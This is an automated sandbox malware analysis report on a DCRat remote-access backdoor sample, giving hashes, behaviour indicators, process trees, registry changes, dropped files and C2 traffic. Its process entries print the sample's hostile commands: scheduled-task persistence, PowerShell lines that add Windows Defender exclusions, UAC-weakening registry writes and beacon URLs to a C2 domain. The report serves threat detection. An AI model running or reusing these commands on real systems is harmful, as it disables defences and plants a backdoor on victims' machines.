File name:

master.exe

Full analysis: https://app.any.run/tasks/ae779d94-c13c-457d-b079-301e36d01cee
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: October 22, 2023, 12:18:49
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
backdoor
dcrat
remote
stealer
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

3F22DCE3ACDF303E76DEC9C213EEBE15

SHA1:

58BAA574C350B3486B3FA3C4EEEC1B126D689E59

SHA256:

8EA0419F80993823911BC699EC6D09FC275BB2DD26E5ED937AED40681950A30C

SSDEEP:

98304:ZFrKdQBESy+queACuPslChAbi7VCMEd2G4P75JSsdcuvolcgkqJpgF9g3yHGQc49:ZKBpwvv

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • intoruntimeSvc.exe (PID: 1304)
      • intoruntimeSvc.exe (PID: 4064)
      • lsm.exe (PID: 400)
      • wininit.exe (PID: 1336)
      • Idle.exe (PID: 1864)
      • System.exe (PID: 2056)
      • explorer.exe (PID: 2164)
      • dwm.exe (PID: 1572)
      • lsm.exe (PID: 3684)
      • Idle.exe (PID: 2660)

    • Drops the executable file immediately after the start

      • master.exe (PID: 3352)
      • intoruntimeSvc.exe (PID: 1304)
      • intoruntimeSvc.exe (PID: 4064)
      • System.exe (PID: 2056)

    • UAC/LUA settings modification

      • intoruntimeSvc.exe (PID: 1304)
      • intoruntimeSvc.exe (PID: 4064)
      • lsm.exe (PID: 400)
      • System.exe (PID: 2056)
      • wininit.exe (PID: 1336)
      • Idle.exe (PID: 1864)

    • Adds path to the Windows Defender exclusion list

      • intoruntimeSvc.exe (PID: 1304)
      • intoruntimeSvc.exe (PID: 4064)

  • SUSPICIOUS

    • Reads the Internet Settings

      • master.exe (PID: 3352)
      • wscript.exe (PID: 3940)
      • intoruntimeSvc.exe (PID: 1304)
      • runonce.exe (PID: 2316)
      • sipnotify.exe (PID: 372)
      • System.exe (PID: 2056)
      • Idle.exe (PID: 1864)
      • lsm.exe (PID: 400)
      • wininit.exe (PID: 1336)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 3940)
      • intoruntimeSvc.exe (PID: 1304)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 3940)
      • intoruntimeSvc.exe (PID: 1304)

    • Creates executable files that already exist in Windows

      • intoruntimeSvc.exe (PID: 1304)
      • intoruntimeSvc.exe (PID: 4064)

    • The process creates files with name similar to system file names

      • intoruntimeSvc.exe (PID: 1304)
      • intoruntimeSvc.exe (PID: 4064)

    • Executed via WMI

      • schtasks.exe (PID: 3712)
      • schtasks.exe (PID: 3076)
      • schtasks.exe (PID: 2888)
      • schtasks.exe (PID: 2480)
      • schtasks.exe (PID: 1592)
      • schtasks.exe (PID: 3800)
      • schtasks.exe (PID: 3160)
      • schtasks.exe (PID: 3940)
      • schtasks.exe (PID: 1808)
      • schtasks.exe (PID: 2556)
      • schtasks.exe (PID: 3028)
      • schtasks.exe (PID: 2760)
      • schtasks.exe (PID: 328)
      • schtasks.exe (PID: 3176)
      • schtasks.exe (PID: 2088)
      • schtasks.exe (PID: 3372)
      • schtasks.exe (PID: 3304)
      • schtasks.exe (PID: 2732)
      • schtasks.exe (PID: 2692)
      • schtasks.exe (PID: 2912)
      • schtasks.exe (PID: 592)
      • schtasks.exe (PID: 2252)
      • schtasks.exe (PID: 2876)
      • schtasks.exe (PID: 2040)
      • schtasks.exe (PID: 3808)
      • schtasks.exe (PID: 3488)
      • schtasks.exe (PID: 3584)
      • schtasks.exe (PID: 1280)
      • schtasks.exe (PID: 3344)
      • schtasks.exe (PID: 3252)
      • schtasks.exe (PID: 2476)
      • schtasks.exe (PID: 2928)
      • schtasks.exe (PID: 1648)
      • schtasks.exe (PID: 3036)
      • schtasks.exe (PID: 2600)
      • schtasks.exe (PID: 2052)
      • schtasks.exe (PID: 3728)
      • schtasks.exe (PID: 3136)
      • schtasks.exe (PID: 3792)
      • schtasks.exe (PID: 2940)
      • schtasks.exe (PID: 2464)
      • schtasks.exe (PID: 1888)

    • Script adds exclusion path to Windows Defender

      • intoruntimeSvc.exe (PID: 1304)
      • intoruntimeSvc.exe (PID: 4064)

    • Starts POWERSHELL.EXE for commands execution

      • intoruntimeSvc.exe (PID: 1304)
      • intoruntimeSvc.exe (PID: 4064)

    • Powershell version downgrade attack

      • powershell.exe (PID: 1764)
      • powershell.exe (PID: 2840)
      • powershell.exe (PID: 3796)
      • powershell.exe (PID: 3840)
      • powershell.exe (PID: 2964)
      • powershell.exe (PID: 3356)
      • powershell.exe (PID: 680)
      • powershell.exe (PID: 3152)
      • powershell.exe (PID: 3220)
      • powershell.exe (PID: 2948)
      • powershell.exe (PID: 3568)
      • powershell.exe (PID: 2292)

    • Probably delay the execution using 'w32tm.exe'

      • cmd.exe (PID: 1484)

    • The process executes via Task Scheduler

      • lsm.exe (PID: 400)
      • wininit.exe (PID: 1336)
      • Idle.exe (PID: 1864)
      • ntvdm.exe (PID: 1988)
      • dwm.exe (PID: 1572)
      • ntvdm.exe (PID: 352)
      • sipnotify.exe (PID: 372)
      • explorer.exe (PID: 2164)
      • System.exe (PID: 2056)
      • ntvdm.exe (PID: 2528)

    • Application launched itself

      • WerFault.exe (PID: 2880)

    • Reads settings of System Certificates

      • sipnotify.exe (PID: 372)

    • The process executes VB scripts

      • System.exe (PID: 2056)
      • wininit.exe (PID: 1336)
      • Idle.exe (PID: 1864)
      • lsm.exe (PID: 400)

  • INFO

    • Reads the computer name

      • master.exe (PID: 3352)
      • intoruntimeSvc.exe (PID: 1304)
      • intoruntimeSvc.exe (PID: 4064)
      • IMEKLMG.EXE (PID: 3728)
      • IMEKLMG.EXE (PID: 3752)
      • dwm.exe (PID: 1572)
      • explorer.exe (PID: 2164)
      • lsm.exe (PID: 400)
      • wmpnscfg.exe (PID: 2092)
      • System.exe (PID: 2056)
      • wininit.exe (PID: 1336)
      • Idle.exe (PID: 1864)
      • wmpnscfg.exe (PID: 2648)
      • lsm.exe (PID: 3684)
      • Idle.exe (PID: 2660)

    • Checks supported languages

      • master.exe (PID: 3352)
      • intoruntimeSvc.exe (PID: 1304)
      • intoruntimeSvc.exe (PID: 4064)
      • wininit.exe (PID: 1336)
      • System.exe (PID: 2056)
      • lsm.exe (PID: 400)
      • explorer.exe (PID: 2164)
      • Idle.exe (PID: 1864)
      • dwm.exe (PID: 1572)
      • IMEKLMG.EXE (PID: 3752)
      • IMEKLMG.EXE (PID: 3728)
      • wmpnscfg.exe (PID: 2092)
      • wmpnscfg.exe (PID: 2648)
      • lsm.exe (PID: 3684)
      • Idle.exe (PID: 2660)

    • Reads the machine GUID from the registry

      • intoruntimeSvc.exe (PID: 1304)
      • intoruntimeSvc.exe (PID: 4064)
      • wmpnscfg.exe (PID: 2092)
      • wmpnscfg.exe (PID: 2648)
      • Idle.exe (PID: 1864)
      • wininit.exe (PID: 1336)
      • dwm.exe (PID: 1572)
      • explorer.exe (PID: 2164)
      • System.exe (PID: 2056)
      • lsm.exe (PID: 400)
      • Idle.exe (PID: 2660)
      • lsm.exe (PID: 3684)

    • Reads product name

      • intoruntimeSvc.exe (PID: 1304)
      • intoruntimeSvc.exe (PID: 4064)
      • lsm.exe (PID: 400)
      • explorer.exe (PID: 2164)
      • System.exe (PID: 2056)
      • Idle.exe (PID: 1864)
      • dwm.exe (PID: 1572)
      • wininit.exe (PID: 1336)
      • Idle.exe (PID: 2660)
      • lsm.exe (PID: 3684)

    • Process checks are UAC notifies on

      • intoruntimeSvc.exe (PID: 1304)
      • intoruntimeSvc.exe (PID: 4064)
      • IMEKLMG.EXE (PID: 3728)
      • IMEKLMG.EXE (PID: 3752)
      • Idle.exe (PID: 1864)
      • lsm.exe (PID: 400)
      • System.exe (PID: 2056)
      • wininit.exe (PID: 1336)

    • Reads Environment values

      • intoruntimeSvc.exe (PID: 1304)
      • intoruntimeSvc.exe (PID: 4064)
      • lsm.exe (PID: 400)
      • Idle.exe (PID: 1864)
      • dwm.exe (PID: 1572)
      • System.exe (PID: 2056)
      • explorer.exe (PID: 2164)
      • wininit.exe (PID: 1336)
      • Idle.exe (PID: 2660)
      • lsm.exe (PID: 3684)

    • Create files in a temporary directory

      • intoruntimeSvc.exe (PID: 1304)
      • WerFault.exe (PID: 3036)
      • System.exe (PID: 2056)
      • wininit.exe (PID: 1336)
      • Idle.exe (PID: 1864)
      • lsm.exe (PID: 400)

    • Creates files in the program directory

      • intoruntimeSvc.exe (PID: 4064)

    • Reads the time zone

      • runonce.exe (PID: 2316)

    • Manual execution by a user

      • runonce.exe (PID: 2316)
      • IMEKLMG.EXE (PID: 3752)
      • IMEKLMG.EXE (PID: 3728)
      • wmpnscfg.exe (PID: 2092)
      • wmpnscfg.exe (PID: 2648)

    • Reads security settings of Internet Explorer

      • sipnotify.exe (PID: 372)

    • Creates files or folders in the user directory

      • WerFault.exe (PID: 3036)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable (generic) (52.9)
.exe | Generic Win/DOS Executable (23.5)
.exe | DOS Executable Generic (23.5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2020:12:01 19:00:55+01:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14
CodeSize: 201216
InitializedDataSize: 114176
UninitializedDataSize: -
EntryPoint: 0x1ec40
OSVersion: 5.1
ImageVersion: -
SubsystemVersion: 5.1
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
203
Monitored processes
98
Malicious processes
29
Suspicious processes
0

Behavior graph

Click at the process to see the details
start master.exe wscript.exe no specs cmd.exe no specs intoruntimesvc.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs cmd.exe no specs w32tm.exe no specs intoruntimesvc.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs lsm.exe no specs wininit.exe no specs ntvdm.exe no specs sipnotify.exe no specs idle.exe no specs ntvdm.exe no specs dwm.exe no specs system.exe no specs explorer.exe no specs runonce.exe no specs ntvdm.exe no specs werfault.exe no specs werfault.exe no specs imeklmg.exe no specs imeklmg.exe no specs wmpnscfg.exe no specs wmpnscfg.exe no specs wscript.exe no specs wscript.exe no specs wscript.exe no specs wscript.exe no specs wscript.exe no specs wscript.exe no specs wscript.exe no specs wscript.exe no specs lsm.exe no specs idle.exe no specs master.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
328schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 13 /tr "'C:\driversession\System.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\lpk.dll
c:\windows\system32\ole32.dll
352"C:\Windows\system32\ntvdm.exe" -i2 C:\Windows\System32\ntvdm.exe—taskeng.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
NTVDM.EXE
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\ntvdm.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
372C:\Windows\system32\sipnotify.exe -LogonOrUnlockC:\Windows\System32\sipnotify.exe—taskeng.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
sipnotify
Exit code:
0
Version:
6.1.7602.20480 (win7sp1_ldr_escrow.191010-1716)
Modules
Images
c:\windows\system32\sipnotify.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\user32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
400"C:\Users\All Users\Desktop\lsm.exe" C:\Users\Public\Desktop\lsm.exe—taskeng.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Version:
5.15.2.0
Modules
Images
c:\users\public\desktop\lsm.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
592schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\driversession\explorer.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\lpk.dll
c:\windows\system32\ole32.dll
680"powershell" -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—intoruntimeSvc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\kernel32.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1280schtasks.exe /create /tn "lsml" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\Desktop\lsm.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\rpcrt4.dll
1304"C:\driversession\intoruntimeSvc.exe"C:\driversession\intoruntimeSvc.exe—cmd.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Version:
5.15.2.0
Modules
Images
c:\windows\system32\ntdll.dll
c:\driversession\intoruntimesvc.exe
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shlwapi.dll
1304"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—intoruntimeSvc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1336"C:\MSOCache\All Users\wininit.exe" C:\MSOCache\All Users\wininit.exe—taskeng.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Version:
5.15.2.0
Modules
Images
c:\msocache\all users\wininit.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
Total events
27 232
Read events
26 467
Write events
753
Delete events
12

Modification events

(PID) Process:(3352) master.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3352) master.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3352) master.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3352) master.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3940) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3940) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3940) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3940) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(1304) intoruntimeSvc.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Operation:writeName:EnableLUA
Value:
1
(PID) Process:(1304) intoruntimeSvc.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Operation:writeName:ConsentPromptBehaviorAdmin
Value:
0
Executable files
16
Suspicious files
43
Text files
37
Unknown types
0

Dropped files

PID
Process
Filename
Type
3352master.exeC:\driversession\intoruntimeSvc.exeexecutable
MD5:592C769A07FEFA599DB9FF4ECA561AAE
SHA256:354041422BEFD4B144DD00DD3FBA4A538BFF0EED41FA8A7974BEB5EAAC2B8B1F
1304intoruntimeSvc.exeC:\MSOCache\All Users\{90140000-0100-0C0A-0000-0000000FF1CE}-C\explorer.exeexecutable
MD5:592C769A07FEFA599DB9FF4ECA561AAE
SHA256:354041422BEFD4B144DD00DD3FBA4A538BFF0EED41FA8A7974BEB5EAAC2B8B1F
3352master.exeC:\driversession\zEL7NhV5LRBktT9LMOxNwTHqDb64.battext
MD5:281941557E6F5023644E420D3A6D7AD3
SHA256:1D8A8829C623BAD817C8AD6D44BE095613230D1ED8FF02F277E54C9F662EA444
1764powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1ee59b.TMPbinary
MD5:CAEA3B1F09925DA2A47C2B8B890AB890
SHA256:66F29B00CBB7B1DED878F96AAC6F52907C088DE194A1FD0CD6E1FF1916047549
2840powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:CAEA3B1F09925DA2A47C2B8B890AB890
SHA256:66F29B00CBB7B1DED878F96AAC6F52907C088DE194A1FD0CD6E1FF1916047549
2840powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1ee50e.TMPbinary
MD5:CAEA3B1F09925DA2A47C2B8B890AB890
SHA256:66F29B00CBB7B1DED878F96AAC6F52907C088DE194A1FD0CD6E1FF1916047549
3840powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1ee58b.TMPbinary
MD5:CAEA3B1F09925DA2A47C2B8B890AB890
SHA256:66F29B00CBB7B1DED878F96AAC6F52907C088DE194A1FD0CD6E1FF1916047549
3840powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7XIROEXJRNPBIQPYK7WD.tempbinary
MD5:CAEA3B1F09925DA2A47C2B8B890AB890
SHA256:66F29B00CBB7B1DED878F96AAC6F52907C088DE194A1FD0CD6E1FF1916047549
1764powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PW59WTEX8YGKLRYMU7NZ.tempbinary
MD5:CAEA3B1F09925DA2A47C2B8B890AB890
SHA256:66F29B00CBB7B1DED878F96AAC6F52907C088DE194A1FD0CD6E1FF1916047549
3796powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1ee51e.TMPbinary
MD5:CAEA3B1F09925DA2A47C2B8B890AB890
SHA256:66F29B00CBB7B1DED878F96AAC6F52907C088DE194A1FD0CD6E1FF1916047549
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
6
DNS requests
2
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
HEAD
200
23.210.119.212:80
http://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE2JgkA?v=133424543769060000
unknown
—
—
unknown
—
—
GET
403
172.67.219.146:80
http://doxxedrta.swaten.fun/L1nc0In.php?8KPUnJWfUGLl7uSsDruc80eWHsi=RebOgRL4r8Be&3wwhl=ip43jwO1Hq2M5kAOz&6EqiYBFqPUEEsygM9qXl2=RZDNyvG3Gp7Hlgz&3ef43bdc5fbf30946e2e5c984b4e9cff=9657ce721183a9aa7d86f94c22da2958&6ec5477b96c74cbff97c03e7cd380821=gNzQWOyMzNwkDN5kjZkNTO1ADNyEGOwkjZ5YTZ0YWYiRmZhNGZkBjZ&8KPUnJWfUGLl7uSsDruc80eWHsi=RebOgRL4r8Be&3wwhl=ip43jwO1Hq2M5kAOz&6EqiYBFqPUEEsygM9qXl2=RZDNyvG3Gp7Hlgz
unknown
html
5.54 Kb
unknown
—
—
GET
403
172.67.219.146:80
http://doxxedrta.swaten.fun/L1nc0In.php?K6Mtes2juD=xCKYXP3qS&3ef43bdc5fbf30946e2e5c984b4e9cff=9657ce721183a9aa7d86f94c22da2958&6ec5477b96c74cbff97c03e7cd380821=gNzQWOyMzNwkDN5kjZkNTO1ADNyEGOwkjZ5YTZ0YWYiRmZhNGZkBjZ&K6Mtes2juD=xCKYXP3qS
unknown
html
5.54 Kb
unknown
—
—
GET
403
172.67.219.146:80
http://doxxedrta.swaten.fun/L1nc0In.php?K6Mtes2juD=xCKYXP3qS&3ef43bdc5fbf30946e2e5c984b4e9cff=9657ce721183a9aa7d86f94c22da2958&6ec5477b96c74cbff97c03e7cd380821=gNzQWOyMzNwkDN5kjZkNTO1ADNyEGOwkjZ5YTZ0YWYiRmZhNGZkBjZ&K6Mtes2juD=xCKYXP3qS
unknown
html
5.54 Kb
unknown
—
—
GET
403
172.67.219.146:80
http://doxxedrta.swaten.fun/L1nc0In.php?8KPUnJWfUGLl7uSsDruc80eWHsi=RebOgRL4r8Be&3wwhl=ip43jwO1Hq2M5kAOz&6EqiYBFqPUEEsygM9qXl2=RZDNyvG3Gp7Hlgz&3ef43bdc5fbf30946e2e5c984b4e9cff=9657ce721183a9aa7d86f94c22da2958&6ec5477b96c74cbff97c03e7cd380821=gNzQWOyMzNwkDN5kjZkNTO1ADNyEGOwkjZ5YTZ0YWYiRmZhNGZkBjZ&8KPUnJWfUGLl7uSsDruc80eWHsi=RebOgRL4r8Be&3wwhl=ip43jwO1Hq2M5kAOz&6EqiYBFqPUEEsygM9qXl2=RZDNyvG3Gp7Hlgz
unknown
html
5.54 Kb
unknown
—
—
GET
403
172.67.219.146:80
http://doxxedrta.swaten.fun/L1nc0In.php?3MoCgVZx=ZbbWIpCZe&3ef43bdc5fbf30946e2e5c984b4e9cff=9657ce721183a9aa7d86f94c22da2958&6ec5477b96c74cbff97c03e7cd380821=gNzQWOyMzNwkDN5kjZkNTO1ADNyEGOwkjZ5YTZ0YWYiRmZhNGZkBjZ&3MoCgVZx=ZbbWIpCZe
unknown
html
5.54 Kb
unknown
—
—
GET
403
172.67.219.146:80
http://doxxedrta.swaten.fun/L1nc0In.php?5ewVMycoP0vGx4dh7GMWmFe=qpiENxphcufoB9Hi&KewtO4vJVMF8aF09SogPX=cLOoCYyf79osbks&bux51kjjBpppsUkSQtCkek1W=zOFUsnPRhMwb&3ef43bdc5fbf30946e2e5c984b4e9cff=9657ce721183a9aa7d86f94c22da2958&6ec5477b96c74cbff97c03e7cd380821=gNzQWOyMzNwkDN5kjZkNTO1ADNyEGOwkjZ5YTZ0YWYiRmZhNGZkBjZ&5ewVMycoP0vGx4dh7GMWmFe=qpiENxphcufoB9Hi&KewtO4vJVMF8aF09SogPX=cLOoCYyf79osbks&bux51kjjBpppsUkSQtCkek1W=zOFUsnPRhMwb
unknown
html
5.54 Kb
unknown
—
—
GET
403
172.67.219.146:80
http://doxxedrta.swaten.fun/L1nc0In.php?5ewVMycoP0vGx4dh7GMWmFe=qpiENxphcufoB9Hi&KewtO4vJVMF8aF09SogPX=cLOoCYyf79osbks&bux51kjjBpppsUkSQtCkek1W=zOFUsnPRhMwb&3ef43bdc5fbf30946e2e5c984b4e9cff=9657ce721183a9aa7d86f94c22da2958&6ec5477b96c74cbff97c03e7cd380821=gNzQWOyMzNwkDN5kjZkNTO1ADNyEGOwkjZ5YTZ0YWYiRmZhNGZkBjZ&5ewVMycoP0vGx4dh7GMWmFe=qpiENxphcufoB9Hi&KewtO4vJVMF8aF09SogPX=cLOoCYyf79osbks&bux51kjjBpppsUkSQtCkek1W=zOFUsnPRhMwb
unknown
html
5.54 Kb
unknown
—
—
GET
403
172.67.219.146:80
http://doxxedrta.swaten.fun/L1nc0In.php?3MoCgVZx=ZbbWIpCZe&3ef43bdc5fbf30946e2e5c984b4e9cff=9657ce721183a9aa7d86f94c22da2958&6ec5477b96c74cbff97c03e7cd380821=gNzQWOyMzNwkDN5kjZkNTO1ADNyEGOwkjZ5YTZ0YWYiRmZhNGZkBjZ&3MoCgVZx=ZbbWIpCZe
unknown
html
5.54 Kb
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2656
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
224.0.0.252:5355
—
—
—
unknown
—
—
23.210.119.212:80
query.prod.cms.rt.microsoft.com
AKAMAI-AS
DE
unknown

DNS requests

Domain
IP
Reputation
query.prod.cms.rt.microsoft.com
  • 23.210.119.212
whitelisted
doxxedrta.swaten.fun
  • 172.67.219.146
  • 104.21.17.20
unknown

Threats

PID
Process
Class
Message
—
—
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
—
—
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
—
—
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
—
—
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
master.exe